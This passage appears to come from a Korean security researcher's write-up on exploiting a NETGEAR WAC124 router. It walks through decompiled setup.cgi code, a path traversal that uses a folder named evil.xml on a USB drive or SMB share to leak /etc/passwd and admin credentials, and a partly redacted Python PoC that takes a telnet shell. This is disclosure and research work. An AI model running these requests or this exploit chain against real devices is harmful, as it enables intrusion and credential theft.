        ppcVar4 = (char **)ppcVar2[1];
        if (ppcVar4 == (char **)0x0) {
          __s = *(char **)(*ppcVar2 + 4);
          __s1 = strchr(__s,0x60);
          if (__s1 != (char *)0x0) {
            return 1;
          }
          __s1 = strstr(__s,"||");
          if (__s1 != (char *)0x0) {
            return 1;
          }
          __s1 = strchr(__s,0x3b);
          return (uint)(__s1 != (char *)0x0);
        }
        ppcVar5 = (char **)*ppcVar2;
        __s = ppcVar5[1];
        __s1 = strchr(__s);
        ppcVar2 = ppcVar4;
      } while (((__s1 == (char *)0x0) && (__s1 = strchr(__s,0x3b), __s1 == (char *)0x0)) &&
              (__s1 = strstr(__s,"||"), __s1 == (char *)0x0));
      __s1 = *ppcVar5;
      iVar1 = strcmp(__s1,"ssid");
    } while (((iVar1 == 0) || (iVar1 = strcmp(__s1,"ssid_an"), iVar1 == 0)) ||
            ((iVar1 = strcmp(__s1,"ssid_2g"), iVar1 == 0 ||
             (iVar1 = strcmp(__s1,"ssid_new24"), iVar1 == 0))));
    uVar3 = 1;
  }
  return uVar3;
}

๋ช‡๋ฒˆ์˜ ์‹œ๋„ํ›„ ์„ฑ๊ณต์ ์œผ๋กœ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ž„์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ๋ณธ ๊ธฐ์‚ฌ์˜ ์ดˆ๋ฐ˜์—์„œ ์–ธ๊ธ‰ํ–ˆ๋˜ ๋Œ€๋กœ, ์ œ ์ตœ์ข…์ ์ธ ๋ชฉ์ ์€ ์•„๋ฌด๋Ÿฐ ์ „์ œ ์กฐ๊ฑด ์—†์ด ๊ถŒํ•œ์ด ์—†๋Š” ์ƒํƒœ์—์„œ ์‹œ์Šคํ…œ ์‰˜๊นŒ์ง€ ์ทจ๋“์„ ํ•˜๋Š” ๊ณต๊ฒฉ์„ ์‹œ๋„ํ•ด๋ณด์ž๋Š” ๊ฒƒ์ด์—ˆ๊ณ , XSS ์ทจ์•ฝ์ ๋งŒ์œผ๋กœ๋Š” ๊ด€๋ฆฌ์ž๊ฐ€ ํ•ด๋‹น URL์„ ์ ‘์†ํ•ด์•ผํ•œ๋‹ค๋Š” ์ „์ œ์กฐ๊ฑด์ด ์žˆ๊ณ  ์ •์ž‘ XSS๋ฅผ ์ฐพ๋Š”๋‹ค๊ณ  ์‹œ์Šคํ…œ ์‰˜์„ ๋ฐ”๋กœ ์ทจ๋“ํ•  ์ˆ˜๋„ ์—†๊ธฐ ๋•Œ๋ฌธ์—, ์ตœ์ข… ๋ชฉ์ ์„ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์•ž์œผ๋กœ ๋” ๋งŽ์€ ๋ถ„์„์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์ด์ œ ์ค€๋น„ ์šด๋™์€ ๋๋‚ฌ์œผ๋‹ˆ, ๋‹ค๋ฅธ ๊ธฐ๋Šฅ๋“ค์— ๋Œ€ํ•ด์„œ๋„ ์กฐ๊ธˆ์”ฉ ํ™•์ธํ•ด๋ณด๊ธฐ๋กœ ํ–ˆ์Šต๋‹ˆ๋‹ค. XSS์™€ ๊ฐ™์€ ์ทจ์•ฝ์ ์„ ์ฐพ๋Š”๊ฒŒ ๋‹ค์†Œ ๋ถˆํ•„์š”ํ•œ ๋ถ€๋ถ„์ผ ์ˆ˜๋„ ์žˆ๊ฒ ์ง€๋งŒ, ์ €์˜ ๊ฒฝ์šฐ XSS๋ฅผ ์ฐพ๋Š” ๊ณผ์ •์—์„œ ์ง€๋ฃจํ•œ ์ •์  ๋ถ„์„ ๊ณผ์ •์„ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์— ๊ธฐ๋ถ„ ์ „ํ™˜์„ ํ•˜๋Š”๋ฐ ๋„์›€์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

์ „์ œ์กฐ๊ฑด์ด ์žˆ๋Š” ๊ณต๊ฒฉ

์ธ์ฆ ์—†์ด ์ž„์˜์˜ ํŒŒ์ผ์„ ์ฝ์–ด๋‚ด๋Š” ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๊ณผ์ •

์ˆ˜๋™์œผ๋กœ ์ •์  ๋ถ„์„์„ ์ง„ํ–‰ํ•˜๋ฉด์„œ setup.cgi ํŒŒ์ผ์„ ํ…Œ์ŠคํŠธํ•˜๋˜ ๋„์ค‘ next_file ํŒŒ๋ผ๋ฏธํ„ฐ์—์„œ ๋ช‡๊ฐ€์ง€์˜ ์•Œ ์ˆ˜ ์—†๋Š” ๋™์ž‘๋“ฑ์„ ํ™•์ธํ•˜์˜€์Šต๋‹ˆ๋‹ค. ( ์ด ํŒŒ๋ผ๋ฏธํ„ฐ์˜ ๊ฒฝ์šฐ ์ถ”ํ›„ Path Traversal๋„ ๊ฐ€๋Šฅํ•˜๋ฏ€๋กœ ํ›„์ˆ ํ•˜๋Š” ๋‚ด์šฉ์—์„œ๋„ ๊ณ„์† ์–ธ๊ธ‰๋ฉ๋‹ˆ๋‹ค. )

์šฐ์„  ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•˜์ง€ ์•Š์€ ์ƒํƒœ์—์„œ .htm, .html, .asp ๋“ฑ์˜ ํ™•์žฅ์ž๊ฐ€ ์žˆ๋Š” URL๋กœ ๊ทธ๋Œ€๋กœ ์ ‘๊ทผํ•  ๊ฒฝ์šฐ ์‚ฌ์šฉ์ž๋ฅผ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ๋‹ค์‹œ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ๋˜์ง€๋งŒ, .png, .xml ๋ฐ ์ด๋ฏธ์ง€ ํ™•์žฅ์ž๋“ค์˜ ๊ฒฝ์šฐ ์„œ๋ฒ„๋กœ ๋ถ€ํ„ฐ ์‘๋‹ต์ด ๋„์ฐฉํ•˜์ง€ ์•Š๋Š” ์ ์„ ํ™•์ธํ•˜์˜€์Šต๋‹ˆ๋‹ค.

๋‹ค์Œ๊ณผ ๊ฐ™์ด htm, html, asp ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋Š” ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ๋ฉ๋‹ˆ๋‹ค.

$ curl -H "User-Agent: Mozilla/5.0" \ 
          'http://www.routerlogin.net/setup.cgi?next_file=../x.htm'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.html'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.asp'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>

๋ฐ˜๋Œ€๋กœ png์™€ xml ํ™•์žฅ์ž๋กœ ์ ‘๊ทผ์‹œ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ ์‘๋‹ต์ด ๋„์ฐฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.png'
curl: (52) Empty reply from server

$ curl -H "User-Agent: Mozilla/5.0" \ 
          'http://www.routerlogin.net/setup.cgi?next_file=../x.xml'

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.jpg'
curl: (52) Empty reply from server

ํ•˜์ง€๋งŒ ์—ฌ๊ธฐ์„œ ์‘๋‹ต์„ ๋ณด๋ฉฐ ๋ช‡ ๊ฐ€์ง€์˜ ๋ถˆ๊ทœ์น™ํ•œ ๊ฒฐ๊ณผ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์–ด๋– ํ•œ ์ด์œ ๋กœ ์ธํ•ด .xml์˜ ๊ฒฝ์šฐ (52) Empty reply from server๊ฐ€ ์ถœ๋ ฅ๋˜์ง€ ์•Š๋Š”๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ Path Traversal์„ ์‹œ๋„ํ•ด๋ณด๋‹ˆ ๋ผ์šฐํ„ฐ์— ์ด๋ฏธ ์กด์žฌํ•˜๋Š” .xml ํŒŒ์ผ๋“ค์€ ์ •์ƒ์ ์œผ๋กœ ์ฝ์„ ์ˆ˜ ์žˆ์—ˆ์ง€๋งŒ, ์ด๋ฏธ์ง€ ํŒŒ์ผ ๋“ฑ์€ next_file์„ ํ†ตํ•ด ๋ถˆ๋Ÿฌ๋“ค์ผ ์ˆ˜ ์—†์—ˆ์Šต๋‹ˆ๋‹ค.

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../../www.eng/image/sso/BG-Image.png'
curl: (52) Empty reply from server

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/image/sso/BG-Image.png'

Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

์ด์ œ ์—ฌ๊ธฐ์„œ ํ™•์ธํ•ด๋ด์•ผ ํ•  ๊ฒƒ์€ ๋‘ ๊ฐ€์ง€ ์ •๋„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. ์™œ xml ํŒŒ์ผ๋“ค์€ ์ถœ๋ ฅ๋˜๊ณ  png์™€ jpg ํ™•์žฅ์ž๋Š” ์ถœ๋ ฅ๋˜์ง€ ์•Š์•˜๋˜ ๊ฑด์ง€์— ๋Œ€ํ•ด์„œ์˜ ํ™•์ธ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ƒฅ ํฌ๋ž˜์‹œ๊ฐ€ ๋‚ฌ๋˜๊ฑธ๊นŒ์š”?

  2. ์™œ htm, asp, html ํ™•์žฅ์ž๋Š” ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€๋กœ ์‚ฌ์šฉ์ž๋ฅผ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธ ํ•˜๊ณ  ์žˆ๋Š”๊ฑธ๊นŒ์š”?

ํ…œํ”Œ๋ฆฟ ๋ฃจํ‹ด์— ๋Œ€ํ•œ ๋ถ„์„

๋‹ค์‹œ ๋˜๋Œ์•„๊ฐ€์„œ setup.cgi ํŒŒ์ผ์„ ์ฝ์–ด๋ณด๋‹ˆ, main ํ•จ์ˆ˜๊ฐ€ ์‹คํ–‰๋  ๋•Œ๋งˆ๋‹ค html_parser ํ•จ์ˆ˜๊ฐ€ next_file ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๊ธฐ ์ „์— ํ•ญ์ƒ ํ˜ธ์ถœ๋˜๊ณ  ์žˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

undefined4 main(undefined4 param_1,char **param_2)
{
...
    pcVar1 = (char *)find_val(iVar8,"next_file");
    if (pcVar1 == (char *)0x0) {
      iVar8 = (**(code **)(puVar10 + -0x7ab0))("/dev/console",&fopen);
      if (iVar8 == 0) {
        return 0;
      }
      (**(code **)(puVar10 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x24a);
      (**(code **)(puVar10 + -0x7b40))("###next_file_injection_detected!###\n",iVar8);
      (**(code **)(puVar10 + -0x7a9c))(iVar8);
      return 0;
    }
...
LAB_00405d08:
  html_parser(pcVar1,iVar8,*(char ***)(puVar10 + -0x7fb8));
  return 0;
}

html_parser ํ•จ์ˆ˜๋ฅผ ๋‹ค์‹œ ํ™•์ธํ•ด๋ณด๋ฉด next_file์˜ ๊ฐ’์ด .html, .xml or .html ๋“ฑ์˜ ๊ฐ’์ด path์— ์กด์žฌํ•˜๋Š”์ง€๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์„œ ํ•˜์ง€๋งŒ strstr ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— "ํ•ด๋‹น ํ™•์žฅ์ž๋กœ ๋๋‚˜๋Š” ํŒŒ์ผ๋ช…์ธ๊ฐ€?"๊ฐ€ ์•„๋‹Œ "ํ•ด๋‹น ํ™•์žฅ์ž๊ฐ€ ํŒŒ์ผ path์— ์กด์žฌํ•˜๋Š”๊ฐ€?"๋ผ๋Š” ์˜๋ฏธ๊ฐ€ ๋˜๋ฏ€๋กœ, ์ถ”ํ›„ ์ด ์ ์„ ์ด์šฉํ•ด ๊ณต๊ฒฉ์„ ํŠธ๋ฆฌ๊ฑฐ ํ•ฉ๋‹ˆ๋‹ค.

undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
  char **ppcVar1;
  int debug_fp;
  int fp;
  char *tmp;
  FILE *log_fp;
  undefined4 ret;
  char **ppcVar2;
  char acStack131120 [65536];
  char buf [65544];
  
...
  tmp = strstr(filename,".htm");
  if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
     (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
    return 0xffffffff;
  }
  fp = open(filename,0);
  if (fp < 0) {
    fprintf(stdout,"Can\'t open file %s",filename);
    ret = 0xffffffff;
  }
  else {
    read(fp,buf,0xffff);
    close(fp);
    tmp = strstr(filename,".xml");
    if (tmp == (char *)0x0) {
      tmp = "text/html";
    }
    else {
      tmp = "text/xml; charset=utf-8";
    }
    mime_header(tmp);
    if (*filename == 'h') {
      fputs(buf,stdout);
      ret = 0;
    }
...

๊ทธ๋Ÿฌ๋‚˜ ์ฒ˜์Œ ๋ช‡ ๋ฒˆ์˜ ์‹œ๋„์—์„œ ์•Œ ์ˆ˜ ์žˆ๋“ฏ์ด, asp, html๊ณผ htm ํ™•์žฅ์ž์˜ ๊ฒฝ์šฐ ํ•ด๋‹น ๋ฃจํ‹ด์„ ํ†ต๊ณผํ•˜์ง€ ์•Š์Œ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋‚˜์ค‘์— ํ™•์ธํ•ด๋ณด๋‹ˆ ์‹ค์ œ ์ž‘๋™์€ ๋ผ์šฐํ„ฐ์˜ HTTP ๋ฐ๋ชฌ์ธ mini_httpd๊ฐ€ ์›์ธ์ด์—ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๋˜ํ•œ, .png ๋“ฑ์˜ ํŒŒ์ผ ์ฒ˜๋ฆฌ๋„ ์‚ฌ์‹ค setup.cgi์— ๋„๋‹ฌํ•˜๊ธฐ ์ „์— ๋ฐ๋ชฌ์˜ ์˜ํ–ฅ์„ ์–ด๋А์ •๋„ ๋ฐ›๊ณ  ์žˆ๋Š” ๊ฒƒ์„ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.

์ด ์‹œ์ ์—์„œ ์ด๋ฏธ .xml ํ™•์žฅ์ž ์ฒ˜๋ฆฌ๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ๋™์ž‘ํ•˜๊ณ  ์žˆ๊ณ  path traversal ์šฐํšŒ๊ฐ€ ๊ฐ€๋Šฅํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ถ”๊ฐ€์ ์ธ ์กฐ์‚ฌ๋Š” ํ•˜์ง€ ์•Š๊ธฐ๋กœ ํ•˜์˜€์Šต๋‹ˆ๋‹ค. ์ด์ œ ๋‹ค์Œ์€ ๋ฌด์—‡์„ ํ•ด์•ผํ• ๊นŒ์š”?

์‹œ์Šคํ…œ ์‰˜ ํŠธ๋ฆฌ๊ฑฐ๋ฅผ ์œ„ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ณผ์ •

์ด์ œ ๋‹ค์‹œ html_parser ํ•จ์ˆ˜๋ฅผ ๋‹ค์‹œ ์ฝ์–ด๋ณด๋„๋ก ํ•ฉ์‹œ๋‹ค.

  tmp = strstr(filename,".htm");
  if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
     (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
    return 0xffffffff;
  }
  fp = open(filename,0);

ํŒŒ์ผ ํ™•์žฅ์ž ์ฒดํฌ๋ฅผ ์œ„ํ•ด strstr ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ๋น„๊ตํ•˜๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ง์€ ์ฆ‰ ์ฃผ์–ด์ง„ ํŒŒ์ผ๋ช… ์ค‘์— ํŒŒ์ผ ํ™•์žฅ์ž๊ฐ€ ์žˆ๋Š”์ง€๋ฅผ ํ™•์ธํ•œ๋‹ค๋Š” ์˜๋ฏธ๊ฒ ์ง€๋งŒ, ๋™์‹œ์— ํŒŒ์ผ ๊ฒฝ๋กœ๊ฐ€ ๋ฌด์กฐ๊ฑด ์ฃผ์–ด์ง„ ํ™•์žฅ์ž๋กœ ๋๋‚˜์•ผ ํ•œ๋‹ค๋Š” ๋ง์ด ์•„๋‹ˆ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

์ด๋ง์€ ์ฆ‰ path/to/file/blah.xml/1234์™€ ๊ฐ™์€ ํŒŒ์ผ๊ณผ path/test.xml.asdf์™€ ๊ฐ™์€ ํŒŒ์ผ๋“ค์€ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์œ ํšจํ•œ ๊ฒฝ๋กœ๋กœ ์ทจ๊ธ‰๋œ๋‹ค๋Š” ๋ง์ž…๋‹ˆ๋‹ค.

์ด์ œ ์šฐ๋ฆฌ๊ฐ€ ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์€ valid_folder.xml์™€ ๊ฐ™์€ ํด๋”๋ฅผ ์ƒ์„ฑํ•˜์—ฌ Path Traversal์„ ํ†ตํ•ด ํ•ด๋‹น ํด๋”๊ฐ€ ์œ„์น˜ํ•œ ๊ณณ์œผ๋กœ ์ด๋™ํ•œ ๋‹ค์Œ ๋‹ค์‹œ Path Traversal์„ ํ•˜์—ฌ ์ž„์˜์˜ ํŒŒ์ผ์„ ์ฝ์–ด๋‚ด๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

๋‚จ์€ ๋ฌธ์ œ๋Š” .xml ์ด๋ผ๋Š” ๊ฐ’์ด ๋“ค์–ด๊ฐ„ ํด๋”๋ฅผ ๋งŒ๋“œ๋Š” ๊ฒƒ์ธ๋ฐ, ์•ž์„œ ์ดˆ๋ฐ˜์— ์–ธ๊ธ‰ํ–ˆ๋“ฏ์ด ์ด ๋ผ์šฐํ„ฐ์—๋Š” USB ํด๋”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. (!!) ์ด์ œ USB์— evil.xml์ด๋ผ๋Š” ํด๋”๋ฅผ ๋งŒ๋“  ๋‹ค์Œ, ๋ผ์šฐํ„ฐ์— USB๋ฅผ ๊ผฝ์œผ๋ฉด ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค.

PS F:\> tree f v /F
F:\
โ””โ”€evil.xml

์ด์–ด์„œ ๋ผ์šฐํ„ฐ์— ๋งˆ์šดํŠธ๋œ USB ๋“œ๋ผ์ด๋ธŒ์˜ ์ •ํ™•ํ•œ ์œ„์น˜๋ฅผ ํ™•์ธํ•ด์•ผํ•˜๋Š”๋ฐ, ๋งˆ์šดํŠธ๋œ USB ๋“œ๋ผ์ด๋ธŒ์˜ ์œ„์น˜๋Š” setup.cgi๋“ฑ์˜ ํŒŒ์ผ์„ ํ™•์ธํ•ด๋ณด๋ฉด /mnt/shares/%c๋กœ ์„ค์ •๋จ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์œ„์— ์„œ์ˆ ํ•œ ๋‚ด์šฉ์„ ์ „๋ถ€ ํ™œ์šฉํ•˜์—ฌ ๋“œ๋ผ์ด๋ธŒ๋ฅผ ๋ธŒ๋ฃจํŠธํฌ์Šค ํ•˜๋Š” ๊ณผ์ •์„ ์ง„ํ–‰ํ•˜๋ฉด ...

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/A/evil.xml/../../../../../etc/passwd'  

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/B/evil.xml/../../../../../etc/passwd'  

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/C/evil.xml/../../../../../etc/passwd'

...

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/passwd'  

root::0:0:root:/:/bin/sh
nobody::0:0:Nobody:/:/sbin/sh

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/htpasswd'

admin:Test1234

๋”ฑ ๊น”๋”ํ•˜๊ฒŒ ํŒŒ์ผ์„ ์ถ”์ถœํ•ด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด์ œ ๊ด€๋ฆฌ์ž ์ธ์ฆ ์ •๋ณด๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ •๋ณด๋ฅผ ํ†ตํ•ด ๋กœ๊ทธ์ธ์„ ํ•˜์—ฌ ๊ด€๋ฆฌ์ž ์ฝ˜์†”์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์ œ ๊ด€๋ฆฌ์ž๋กœ ๋กœ๊ทธ์ธํ•˜์—ฌ ๋””๋ฒ„๊น… ํŽ˜์ด์ง€์—์„œ Telnet์„ ํ™œ์„ฑํ™” ํ•˜๊ณ  ์‰˜์„ ํ™œ์„ฑํ™” ์‹œํ‚ค๋ฉด ๋ฉ๋‹ˆ๋‹ค.

์ „์ œ์กฐ๊ฑด์ด ํ•„์š”ํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ PoC

์ง€๊ธˆ๊นŒ์ง€ ๋ฐœ๊ฒฌํ•œ ์ทจ์•ฝ์ ์„ ํ™œ์šฉํ•˜๋ฉด USB ๋“œ๋ผ์ด๋ธŒ๋ฅผ ํ†ตํ•ด ์‹œ์Šคํ…œ ์‰˜์„ ์ทจ๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ฌ๊ธฐ์„œ๋Š” USB ๋“œ๋ผ์ด๋ธŒ ๋Œ€์‹  SMB ์„œ๋ฒ„๊ฐ€ ์ธ์ฆ ์—†์ด ์—ด๋ ค์žˆ๋‹ค๋Š” ์ „์ œ ํ•˜์— PoC๋ฅผ ์ž‘์„ฑํ•ด๋ณด๋„๋ก ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ผ์šฐํ„ฐ์˜ ๊ฒฝ์šฐ USB ๋“œ๋ผ์ด๋ธŒ๊ฐ€ ๊ผฝํ˜€์žˆ์œผ๋ฉด SMB๋„ ๊ฐ™์ด ์—ด๋ฆฌ๊ฒŒ ๋˜๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๊ฐ€ ๊ตณ์ด USB๋ฅผ ๊ผฝ์„ ์ˆ˜ ์žˆ๋Š” ์ƒํ™ฉ์ด ์•„๋‹ˆ๋”๋ผ๋„ SMB๋ฅผ ํ†ตํ•œ ๊ณต๊ฒฉ๋„ ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์ฆ๋ช…ํ•˜๊ธฐ ์œ„ํ•จ์ž…๋‹ˆ๋‹ค.

SMB๋ฅผ ํ†ตํ•œ ๊ณต๊ฒฉ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ SMB๋กœ ์ ‘๊ทผํ•œ ๋‹ค์Œ exploit.xml๊ณผ ๊ฐ™์€ ํด๋”๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์œผ๋กœ ๊ณต๊ฒฉ์„ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ๊ณ , ์ด๋ฅผ ํ†ตํ•ด admin์˜ ๊ณ„์ •์ •๋ณด๋ฅผ ํƒˆ์ทจํ•˜์—ฌ ์‰˜์„ ์ทจ๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ธํ„ฐ๋„ท์— ์ต์Šคํ”Œ๋กœ์ž‡์ด ์—ฌ๊ธฐ์ €๊ธฐ ๋Œ์•„๋‹ค๋‹ˆ๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•˜์—ฌ, ์‹ค์ œ ์ต์Šคํ”Œ๋กœ์ž‡์—์„œ ์ผ๋ถ€ ์ฝ”๋“œ๋ฅผ ์ œ๊ฑฐ ํ•˜์˜€์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ด ๊ธฐ์‚ฌ๋ฅผ ์ œ๋Œ€๋กœ ์ฝ๊ณ  ๊ณ„์‹ ๋‹ค๋ฉด ๊ณต๊ฒฉ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์€ ํฌ๊ฒŒ ์–ด๋ ต์ง€ ์•Š์„ ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค.

def smb_upload_folder():
    """
    Upload xml file via SMB
    """
    anonymous_smb_and_upload("exploit.xml")

def perform_path_traversal():
    """
    Performs the path traversal attack in three steps

    1. Perform a path traversal to check if the bug works
    2. Do SMB bruteforce to leak /etc/passwd
        - 00492900 ... "/tmp/mnt/shares/%c/%s"
        - We just need to bruteforce from A ~ Z
    3. Leak remaining important files
    """
    found_char = None

    for _char in string.ascii_uppercase:
        payload = f"../mnt/shares/{_char}/exploit.xml/../../../../etc/passwd"
        result = try_path_traversal(payload)

        # check if /etc/passwd is leaked
        if "root::0:0:root:/:/bin/sh" in resp:
            print("[.] Successfully leaked /etc/passwd!")
            print(resp)
            found_char = guess_char
            break

    if not found_char:
        print("[!] Failed to exploit..")
        return False

    # Leak /etc/htpasswd
    payload = f"../mnt/shares/{found_char}/exploit.xml/../../../../etc/htpasswd"
    result = try_path_traversal(payload)

    print(f"[.] Successfully leaked /etc/htpasswd!")
    print(result)
    return result

def login(username, password):
    """
    Login with username and password
    """
    return session

def enable_debug_mode(session):
    """
    Access debug.htm to enable debug mode
    """
    return True

def trigger_shell(htpasswd):
    """
    Use the /etc/htpasswd to login as admin.
    After authentication, enable debug mode and get shell.
    """
    username, password = htpasswd.strip().split(":")
    admin_session = login(username, password)
    enable_debug_mode(admin_session)
    with Telnet('www.routerlogin.net', 23) as session:
        session.read_until(b"login: ")
        session.write(username.encode() + b"\n")
        session.write(password.encode() + b"\n")
        session.interact()

if __name__ == "__main__":
     smb_upload_folder()
     htpasswd = perform_path_traversal()
     if htpasswd:
        print("[.] Path Traversal Success! Let's get shell now..")
        trigger_shell(htpasswd)
     else:
         print("[-] Failed..")

์ด์–ด์„œ

์ด ๊ณต๊ฒฉ์˜ ๋‹จ์ ์€ USB๋“ฑ์˜ ๊ผฝํ˜€์žˆ๊ฑฐ๋‚˜ SMB ์„œ๋ฒ„๊ฐ€ ์—ด๋ ค์žˆ๋‹ค๋Š” ์ „์ œ์กฐ๊ฑด์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

์•„์ง๊นŒ์ง€ ์ตœ์ข… ๋ชฉํ‘œ์— ๋„๋‹ฌํ•˜์ง€ ์•Š์•˜๊ธฐ ๋•Œ๋ฌธ์— HTTP ๋ฐ๋ชฌ ๋“ฑ์„ ์กฐ๊ธˆ ๋” ๋ถ„์„ํ•ด๋ณด๊ธฐ๋กœ ํ•˜์˜€์Šต๋‹ˆ๋‹ค.

์ „์ œ์กฐ๊ฑด์ด ๋ถˆํ•„์š”ํ•œ ๊ณต๊ฒฉ

์ธ์ฆ ์šฐํšŒ์˜ ๋ฐœ๊ฒฌ

